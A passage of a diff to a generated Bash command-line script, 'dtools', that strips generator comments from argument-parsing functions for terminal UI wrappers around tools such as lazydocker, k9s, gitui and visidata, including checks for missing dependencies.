dependency: wuzz\n" >&2 printf "%s\n\n" "See 'https://github.com/asciimoo/wuzz'" >&2 @@ -22585,10 +20139,8 @@ dtools_tui_network_http_request_client_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network http-request-client" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22599,8 +20151,7 @@ dtools_tui_network_http_request_client_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22611,11 +20162,9 @@ dtools_tui_network_http_request_client_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_http_request_client_2_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22632,9 +20181,8 @@ dtools_tui_network_http_request_client_2_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v slumber >/dev/null 2>&1; then printf "missing dependency: slumber\n" >&2 printf "%s\n\n" "See 'https://slumber.lucaspickering.me/'" >&2 @@ -22647,10 +20195,8 @@ dtools_tui_network_http_request_client_2_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network http-request-client-2" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22661,8 +20207,7 @@ dtools_tui_network_http_request_client_2_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22673,11 +20218,9 @@ dtools_tui_network_http_request_client_2_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_api_client_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22694,9 +20237,8 @@ dtools_tui_network_api_client_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v atac >/dev/null 2>&1; then printf "missing dependency: atac\n" >&2 printf "%s\n\n" "See 'https://atac.julien-cpsn.com/'" >&2 @@ -22709,10 +20251,8 @@ dtools_tui_network_api_client_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network api-client" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22723,8 +20263,7 @@ dtools_tui_network_api_client_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22735,11 +20274,9 @@ dtools_tui_network_api_client_parse_requirements() { } -# :command.parse_requirements dtools_tui_docker_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22756,7 +20293,6 @@ dtools_tui_docker_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -22783,7 +20319,6 @@ dtools_tui_docker_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_docker_usage >&2 exit 1 @@ -22796,7 +20331,6 @@ dtools_tui_docker_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22807,8 +20341,7 @@ dtools_tui_docker_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22819,11 +20352,9 @@ dtools_tui_docker_parse_requirements() { } -# :command.parse_requirements dtools_tui_docker_docker_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22840,9 +20371,8 @@ dtools_tui_docker_docker_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v lazydocker >/dev/null 2>&1; then printf "missing dependency: lazydocker\n" >&2 printf "%s\n\n" "See 'https://github.com/jesseduffield/lazydocker'" >&2 @@ -22855,10 +20385,8 @@ dtools_tui_docker_docker_parse_requirements() { exit 1 fi - # :command.command_filter action="tui docker docker" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22869,8 +20397,7 @@ dtools_tui_docker_docker_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22881,11 +20408,9 @@ dtools_tui_docker_docker_parse_requirements() { } -# :command.parse_requirements dtools_tui_docker_docker_layer_analyzer_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22902,9 +20427,8 @@ dtools_tui_docker_docker_layer_analyzer_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v dive >/dev/null 2>&1; then printf "missing dependency: dive\n" >&2 printf "%s\n\n" "See 'https://github.com/wagoodman/dive'" >&2 @@ -22917,10 +20441,8 @@ dtools_tui_docker_docker_layer_analyzer_parse_requirements() { exit 1 fi - # :command.command_filter action="tui docker docker-layer-analyzer" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22931,8 +20453,7 @@ dtools_tui_docker_docker_layer_analyzer_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22943,11 +20464,9 @@ dtools_tui_docker_docker_layer_analyzer_parse_requirements() { } -# :command.parse_requirements dtools_tui_docker_kubernetes_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22964,9 +20483,8 @@ dtools_tui_docker_kubernetes_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v k9s >/dev/null 2>&1; then printf "missing dependency: k9s\n" >&2 printf "%s\n\n" "See 'https://github.com/derailed/k9s'" >&2 @@ -22979,10 +20497,8 @@ dtools_tui_docker_kubernetes_parse_requirements() { exit 1 fi - # :command.command_filter action="tui docker kubernetes" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22993,8 +20509,7 @@ dtools_tui_docker_kubernetes_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23005,11 +20520,9 @@ dtools_tui_docker_kubernetes_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23026,7 +20539,6 @@ dtools_tui_development_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -23137,7 +20649,6 @@ dtools_tui_development_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_development_usage >&2 exit 1 @@ -23150,7 +20661,6 @@ dtools_tui_development_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23161,8 +20671,7 @@ dtools_tui_development_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23173,11 +20682,9 @@ dtools_tui_development_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_git_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23194,9 +20701,8 @@ dtools_tui_development_git_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gitui >/dev/null 2>&1; then printf "missing dependency: gitui\n" >&2 printf "%s\n\n" "See 'https://github.com/gitui-org/gitui'" >&2 @@ -23209,10 +20715,8 @@ dtools_tui_development_git_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development git" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23223,8 +20727,7 @@ dtools_tui_development_git_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23235,11 +20738,9 @@ dtools_tui_development_git_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_jira_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23256,9 +20757,8 @@ dtools_tui_development_jira_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v jirust >/dev/null 2>&1; then printf "missing dependency: jirust\n" >&2 printf "%s\n\n" "See 'https://github.com/Code-Militia/jirust'" >&2 @@ -23271,10 +20771,8 @@ dtools_tui_development_jira_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development jira" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23285,8 +20783,7 @@ dtools_tui_development_jira_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23297,11 +20794,9 @@ dtools_tui_development_jira_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_readme_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23318,9 +20813,8 @@ dtools_tui_development_readme_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v glow >/dev/null 2>&1; then printf "missing dependency: glow\n" >&2 printf "%s\n\n" "See 'https://github.com/charmbracelet/glow'" >&2 @@ -23333,10 +20827,8 @@ dtools_tui_development_readme_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development readme" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23347,8 +20839,7 @@ dtools_tui_development_readme_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23359,11 +20850,9 @@ dtools_tui_development_readme_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_tail_logs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23380,9 +20869,8 @@ dtools_tui_development_tail_logs_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "See 'https://lnav.readthedocs.io/en/latest/'" >&2 @@ -23395,10 +20883,8 @@ dtools_tui_development_tail_logs_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development tail-logs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23409,8 +20895,7 @@ dtools_tui_development_tail_logs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23421,11 +20906,9 @@ dtools_tui_development_tail_logs_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_drft_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23442,9 +20925,8 @@ dtools_tui_development_drft_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v drft >/dev/null 2>&1; then printf "missing dependency: drft\n" >&2 printf "%s\n\n" "See 'https://codeberg.org/nightsail/drft'" >&2 @@ -23457,10 +20939,8 @@ dtools_tui_development_drft_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development drft" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23471,8 +20951,7 @@ dtools_tui_development_drft_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23483,11 +20962,9 @@ dtools_tui_development_drft_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_wrkflw_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23504,9 +20981,8 @@ dtools_tui_development_wrkflw_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wrkflw >/dev/null 2>&1; then printf "missing dependency: wrkflw\n" >&2 printf "%s\n\n" "See 'https://github.com/bahdotsh/wrkflw'" >&2 @@ -23519,10 +20995,8 @@ dtools_tui_development_wrkflw_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development wrkflw" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23533,8 +21007,7 @@ dtools_tui_development_wrkflw_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23545,11 +21018,9 @@ dtools_tui_development_wrkflw_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_gama_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23566,9 +21037,8 @@ dtools_tui_development_gama_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v actions >/dev/null 2>&1; then printf "missing dependency: actions\n" >&2 printf "%s\n\n" "See 'https://github.com/termkit/gama'" >&2 @@ -23581,10 +21051,8 @@ dtools_tui_development_gama_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development gama" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23595,8 +21063,7 @@ dtools_tui_development_gama_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23607,11 +21074,9 @@ dtools_tui_development_gama_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_ecs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23628,9 +21093,8 @@ dtools_tui_development_ecs_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v e1s >/dev/null 2>&1; then printf "missing dependency: e1s\n" >&2 printf "%s\n\n" "See 'https://github.com/keidarcy/e1s'" >&2 @@ -23643,10 +21107,8 @@ dtools_tui_development_ecs_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development ecs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23657,8 +21119,7 @@ dtools_tui_development_ecs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23669,11 +21130,9 @@ dtools_tui_development_ecs_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_openapi_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23690,9 +21149,8 @@ dtools_tui_development_openapi_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v openapi-tui >/dev/null 2>&1; then printf "missing dependency: openapi-tui\n" >&2 printf "%s\n\n" "See 'https://github.com/zaghaghi/openapi-tui'" >&2 @@ -23705,10 +21163,8 @@ dtools_tui_development_openapi_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development openapi" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23719,8 +21175,7 @@ dtools_tui_development_openapi_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23731,11 +21186,9 @@ dtools_tui_development_openapi_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_gcs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23752,9 +21205,8 @@ dtools_tui_development_gcs_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v burf >/dev/null 2>&1; then printf "missing dependency: burf\n" >&2 printf "%s\n\n" "See 'https://github.com/razeghi71/burf'" >&2 @@ -23767,10 +21219,8 @@ dtools_tui_development_gcs_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development gcs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23781,9 +21231,7 @@ dtools_tui_development_gcs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['gcs_url']+x} ]]; then args['gcs_url']=$1 shift @@ -23797,7 +21245,6 @@ dtools_tui_development_gcs_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['gcs_url']+x} ]]; then printf "missing required argument: GCS_URL\nusage: dtools tui development gcs GCS_URL\n" >&2 @@ -23806,11 +21253,9 @@ dtools_tui_development_gcs_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_prs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23827,9 +21272,8 @@ dtools_tui_development_prs_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v prs >/dev/null 2>&1; then printf "missing dependency: prs\n" >&2 printf "%s\n\n" "See 'https://github.com/dhth/prs'" >&2 @@ -23842,10 +21286,8 @@ dtools_tui_development_prs_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development prs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23856,8 +21298,7 @@ dtools_tui_development_prs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23868,11 +21309,9 @@ dtools_tui_development_prs_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_s3_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23889,9 +21328,8 @@ dtools_tui_development_s3_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v stu >/dev/null 2>&1; then printf "missing dependency: stu\n" >&2 printf "%s\n\n" "See 'https://lusingander.github.io/stu/'" >&2 @@ -23904,10 +21342,8 @@ dtools_tui_development_s3_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development s3" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23918,8 +21354,7 @@ dtools_tui_development_s3_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23930,11 +21365,9 @@ dtools_tui_development_s3_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_terraform_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -23951,9 +21384,8 @@ dtools_tui_development_terraform_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v pug >/dev/null 2>&1; then printf "missing dependency: pug\n" >&2 printf "%s\n\n" "See 'https://github.com/leg100/pug'" >&2 @@ -23966,17 +21398,14 @@ dtools_tui_development_terraform_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development terraform" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --terraform) - # :flag.case_no_arg args['--terraform']=1 shift ;; @@ -23987,8 +21416,7 @@ dtools_tui_development_terraform_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -23999,11 +21427,9 @@ dtools_tui_development_terraform_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_journal_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24020,9 +21446,8 @@ dtools_tui_development_journal_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v lazyjournal >/dev/null 2>&1; then printf "missing dependency: lazyjournal\n" >&2 printf "%s\n\n" "See 'https://github.com/Lifailon/lazyjournal'" >&2 @@ -24035,10 +21460,8 @@ dtools_tui_development_journal_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development journal" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24049,8 +21472,7 @@ dtools_tui_development_journal_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24061,11 +21483,9 @@ dtools_tui_development_journal_parse_requirements() { } -# :command.parse_requirements dtools_tui_development_multi_host_log_viewer_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24082,9 +21502,8 @@ dtools_tui_development_multi_host_log_viewer_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nerdlog >/dev/null 2>&1; then printf "missing dependency: nerdlog\n" >&2 printf "%s\n\n" "See 'https://github.com/dimonomid/nerdlog'" >&2 @@ -24097,10 +21516,8 @@ dtools_tui_development_multi_host_log_viewer_parse_requirements() { exit 1 fi - # :command.command_filter action="tui development multi-host-log-viewer" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24111,8 +21528,7 @@ dtools_tui_development_multi_host_log_viewer_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24123,11 +21539,9 @@ dtools_tui_development_multi_host_log_viewer_parse_requirements() { } -# :command.parse_requirements dtools_tui_dev_help_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24144,7 +21558,6 @@ dtools_tui_dev_help_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -24164,7 +21577,6 @@ dtools_tui_dev_help_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_dev_help_usage >&2 exit 1 @@ -24177,7 +21589,6 @@ dtools_tui_dev_help_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24188,8 +21599,7 @@ dtools_tui_dev_help_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24200,11 +21610,9 @@ dtools_tui_dev_help_parse_requirements() { } -# :command.parse_requirements dtools_tui_dev_help_stack_overflow_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24221,9 +21629,8 @@ dtools_tui_dev_help_stack_overflow_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v so >/dev/null 2>&1; then printf "missing dependency: so\n" >&2 printf "%s\n\n" "See 'https://github.com/samtay/so'" >&2 @@ -24236,10 +21643,8 @@ dtools_tui_dev_help_stack_overflow_parse_requirements() { exit 1 fi - # :command.command_filter action="tui dev-help stack-overflow" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24250,8 +21655,7 @@ dtools_tui_dev_help_stack_overflow_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24262,11 +21666,9 @@ dtools_tui_dev_help_stack_overflow_parse_requirements() { } -# :command.parse_requirements dtools_tui_dev_help_wiki_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24283,9 +21685,8 @@ dtools_tui_dev_help_wiki_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wiki-tui >/dev/null 2>&1; then printf "missing dependency: wiki-tui\n" >&2 printf "%s\n\n" "See 'https://wiki-tui.net/latest/'" >&2 @@ -24298,10 +21699,8 @@ dtools_tui_dev_help_wiki_parse_requirements() { exit 1 fi - # :command.command_filter action="tui dev-help wiki" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24312,8 +21711,7 @@ dtools_tui_dev_help_wiki_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24324,11 +21722,9 @@ dtools_tui_dev_help_wiki_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24345,7 +21741,6 @@ dtools_tui_data_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -24386,7 +21781,6 @@ dtools_tui_data_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_data_usage >&2 exit 1 @@ -24399,7 +21793,6 @@ dtools_tui_data_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24410,8 +21803,7 @@ dtools_tui_data_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24422,11 +21814,9 @@ dtools_tui_data_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_db_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24443,9 +21833,8 @@ dtools_tui_data_db_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gobang >/dev/null 2>&1; then printf "missing dependency: gobang\n" >&2 printf "%s\n\n" "See 'https://github.com/TaKO8Ki/gobang'" >&2 @@ -24458,10 +21847,8 @@ dtools_tui_data_db_parse_requirements() { exit 1 fi - # :command.command_filter action="tui data db" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24472,8 +21859,7 @@ dtools_tui_data_db_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24484,11 +21870,9 @@ dtools_tui_data_db_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_explorer_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24505,9 +21889,8 @@ dtools_tui_data_explorer_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v visidata >/dev/null 2>&1; then printf "missing dependency: visidata\n" >&2 printf "%s\n\n" "See 'https://www.visidata.org/'" >&2 @@ -24520,10 +21903,8 @@ dtools_tui_data_explorer_parse_requirements() { exit 1 fi - # :command.command_filter action="tui data explorer" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24534,8 +21915,7 @@ dtools_tui_data_explorer_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24546,11 +21926,9 @@ dtools_tui_data_explorer_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_database_ide_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24567,9 +21945,8 @@ dtools_tui_data_database_ide_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v harlequin >/dev/null 2>&1; then printf "missing dependency: harlequin\n" >&2 printf "%s\n\n" "See 'https://harlequin.sh'" >&2 @@ -24582,10 +21959,8 @@ dtools_tui_data_database_ide_parse_requirements() { exit 1 fi - # :command.command_filter action="tui data database-ide" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24596,8 +21971,7 @@ dtools_tui_data_database_ide_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24608,11 +21982,9 @@ dtools_tui_data_database_ide_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_kafka_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24629,9 +22001,8 @@ dtools_tui_data_kafka_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v yozefu >/dev/null 2>&1; then printf "missing dependency: yozefu\n" >&2 printf "%s\n\n" "See 'https://github.com/MAIF/yozefu'" >&2 @@ -24644,10 +22015,8 @@ dtools_tui_data_kafka_parse_requirements() { exit 1 fi - # :command.command_filter action="tui data kafka" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24658,8 +22027,7 @@ dtools_tui_data_kafka_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24670,11 +22038,9 @@ dtools_tui_data_kafka_parse_requirements() { } -# :command.parse_requirements dtools_tui_data_jupyter_notebook_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24691,9 +22057,8 @@ dtools_tui_data_jupyter_notebook_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v euporie-notebook >/dev/null 2>&1; then printf "missing dependency: euporie-notebook\n" >&2 printf "%s\n\n" "See 'https://euporie.readthedocs.io/en/latest/'" >&2 @@ -24706,10 +22071,8 @@ dtools_tui_data_jupyter_notebook_parse_requirements() { exit 1 fi - # :command.command_filter action="tui data jupyter-notebook" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24720,8 +22083,7 @@ dtools_tui_data_jupyter_notebook_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24732,11 +22094,9 @@ 